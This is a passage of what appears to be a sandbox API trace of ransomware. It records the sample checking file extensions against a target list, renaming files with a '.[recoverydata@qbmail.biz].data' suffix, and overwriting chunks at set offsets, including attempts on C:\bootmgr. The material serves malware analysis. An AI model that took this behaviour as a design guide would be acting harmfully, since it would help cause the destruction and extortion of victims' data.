returned -1 [0074.984] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.984] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.984] lstrlenW (lpString=".doc") returned 4 [0074.984] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.984] lstrlenW (lpString=".docx") returned 5 [0074.984] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.984] lstrlenW (lpString=".pdf") returned 4 [0074.984] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.984] lstrlenW (lpString=".xls") returned 4 [0074.984] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.984] lstrlenW (lpString=".xlsx") returned 5 [0074.984] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.984] lstrlenW (lpString=".ppt") returned 4 [0074.984] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.984] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.984] lstrlenW (lpString=".zip") returned 4 [0074.984] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.984] lstrlenW (lpString=".rar") returned 4 [0074.984] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.985] lstrlenW (lpString=".bz2") returned 4 [0074.985] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.985] lstrlenW (lpString=".7z") returned 3 [0074.985] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.985] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.985] lstrlenW (lpString=".dbf") returned 4 [0074.985] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.985] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.985] lstrlenW (lpString=".1cd") returned 4 [0074.985] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.985] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.985] lstrlenW (lpString=".jpg") returned 4 [0074.985] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.985] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.986] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.986] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.986] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=89664) returned 1 [0074.986] CloseHandle (hObject=0x194) returned 1 [0074.986] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0074.986] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.986] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.986] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.987] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.987] lstrlenW (lpString=".doc") returned 4 [0074.987] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.987] lstrlenW (lpString=".docx") returned 5 [0074.987] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.987] lstrlenW (lpString=".pdf") returned 4 [0074.987] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.987] lstrlenW (lpString=".xls") returned 4 [0074.987] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.987] lstrlenW (lpString=".xlsx") returned 5 [0074.987] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.987] lstrlenW (lpString=".ppt") returned 4 [0074.987] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.987] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.987] lstrlenW (lpString=".zip") returned 4 [0074.987] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.987] lstrlenW (lpString=".rar") returned 4 [0074.987] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.988] lstrlenW (lpString=".bz2") returned 4 [0074.988] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.988] lstrlenW (lpString=".7z") returned 3 [0074.988] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.988] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.988] lstrlenW (lpString=".dbf") returned 4 [0074.988] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.988] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.988] lstrlenW (lpString=".1cd") returned 4 [0074.988] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.988] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.988] lstrlenW (lpString=".jpg") returned 4 [0074.988] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.988] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.988] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.988] lstrlenW (lpString=".doc") returned 4 [0074.988] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.988] lstrlenW (lpString=".docx") returned 5 [0074.988] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.988] lstrlenW (lpString=".pdf") returned 4 [0074.988] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.988] lstrlenW (lpString=".xls") returned 4 [0074.989] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.989] lstrlenW (lpString=".xlsx") returned 5 [0074.989] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.989] lstrlenW (lpString=".ppt") returned 4 [0074.989] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.989] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.989] lstrlenW (lpString=".zip") returned 4 [0074.989] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.989] lstrlenW (lpString=".rar") returned 4 [0074.989] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.989] lstrlenW (lpString=".bz2") returned 4 [0074.989] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.989] lstrlenW (lpString=".7z") returned 3 [0074.989] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.989] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.989] lstrlenW (lpString=".dbf") returned 4 [0074.989] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.989] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.989] lstrlenW (lpString=".1cd") returned 4 [0074.990] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.990] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0074.990] lstrlenW (lpString=".jpg") returned 4 [0074.990] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.990] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.990] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.990] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.990] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=90192) returned 1 [0074.990] CloseHandle (hObject=0x194) returned 1 [0074.990] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0074.991] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.991] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.991] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.991] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.991] lstrlenW (lpString=".doc") returned 4 [0074.991] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.991] lstrlenW (lpString=".docx") returned 5 [0074.991] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.991] lstrlenW (lpString=".pdf") returned 4 [0074.991] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.991] lstrlenW (lpString=".xls") returned 4 [0074.991] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.991] lstrlenW (lpString=".xlsx") returned 5 [0074.991] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.991] lstrlenW (lpString=".ppt") returned 4 [0074.991] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.991] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.991] lstrlenW (lpString=".zip") returned 4 [0074.991] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.991] lstrlenW (lpString=".rar") returned 4 [0074.992] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.992] lstrlenW (lpString=".bz2") returned 4 [0074.992] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.992] lstrlenW (lpString=".7z") returned 3 [0074.992] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0075.200] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=383786) returned 1 [0075.200] CloseHandle (hObject=0x1b0) returned 1 [0075.200] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0075.200] GetFileAttributesW (lpFileName="C:\\bootmgr.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\bootmgr.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.200] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0075.200] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.381] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0075.482] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0075.482] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0075.482] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.482] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.558] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.561] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.725] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.725] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.725] ReadFile (in: hFile=0x184, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.244] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.245] WriteFile (in: hFile=0x184, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0076.552] SetEndOfFile (hFile=0x184) returned 1 [0077.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f9a0a0 [0077.104] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.104] WriteFile (in: hFile=0x184, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.107] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.107] WriteFile (in: hFile=0x184, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.116] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.116] WriteFile (in: hFile=0x184, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f9a0a0 | out: hHeap=0x5b0000) returned 1 [0077.121] CloseHandle (hObject=0x184) returned 1 [0077.727] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0077.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.728] lstrlenW (lpString=".doc") returned 4 [0077.728] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.728] lstrlenW (lpString=".docx") returned 5 [0077.728] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.728] lstrlenW (lpString=".pdf") returned 4 [0077.728] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.728] lstrlenW (lpString=".xls") returned 4 [0077.728] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.728] lstrlenW (lpString=".xlsx") returned 5 [0077.728] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.728] lstrlenW (lpString=".ppt") returned 4 [0077.728] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.729] lstrlenW (lpString=".zip") returned 4 [0077.729] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.729] lstrlenW (lpString=".rar") returned 4 [0077.729] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.729] lstrlenW (lpString=".bz2") returned 4 [0077.729] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.729] lstrlenW (lpString=".7z") returned 3 [0077.729] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.729] lstrlenW (lpString=".dbf") returned 4 [0077.729] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.729] lstrlenW (lpString=".1cd") returned 4 [0077.729] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.729] lstrlenW (lpString=".jpg") returned 4 [0077.729] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.729] lstrlenW (lpString=".doc") returned 4 [0077.729] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.729] lstrlenW (lpString=".docx") returned 5 [0077.730] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.730] lstrlenW (lpString=".pdf") returned 4 [0077.730] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.730] lstrlenW (lpString=".xls") returned 4 [0077.730] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.730] lstrlenW (lpString=".xlsx") returned 5 [0077.730] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.730] lstrlenW (lpString=".ppt") returned 4 [0077.730] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.730] lstrlenW (lpString=".zip") returned 4 [0077.730] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.730] lstrlenW (lpString=".rar") returned 4 [0077.730] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.730] lstrlenW (lpString=".bz2") returned 4 [0077.730] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.730] lstrlenW (lpString=".7z") returned 3 [0077.730] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.730] lstrlenW (lpString=".dbf") returned 4 [0077.730] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.730] lstrlenW (lpString=".1cd") returned 4 [0077.730] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0077.730] lstrlenW (lpString=".jpg") returned 4 [0077.730] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.731] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0077.731] lstrlenW (lpString="PubLR.cab") returned 9 [0077.731] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0077.731] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=9958388) returned 1 [0077.731] CloseHandle (hObject=0x184) returned 1 [0077.731] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0077.732] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0077.732] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0077.732] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0077.733] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0077.733] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0077.733] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.211] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0078.211] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.597] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0078.597] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0078.597] ReadFile (in: hFile=0x184, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.267] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.267] WriteFile (in: hFile=0x184, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0079.857] SetEndOfFile (hFile=0x184) returned 1 [0079.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f9a0a0 [0079.857] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0079.857] WriteFile (in: hFile=0x184, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.860] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0079.860] WriteFile (in: hFile=0x184, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.871] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0079.871] WriteFile (in: hFile=0x184, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f9a0a0 | out: hHeap=0x5b0000) returned 1 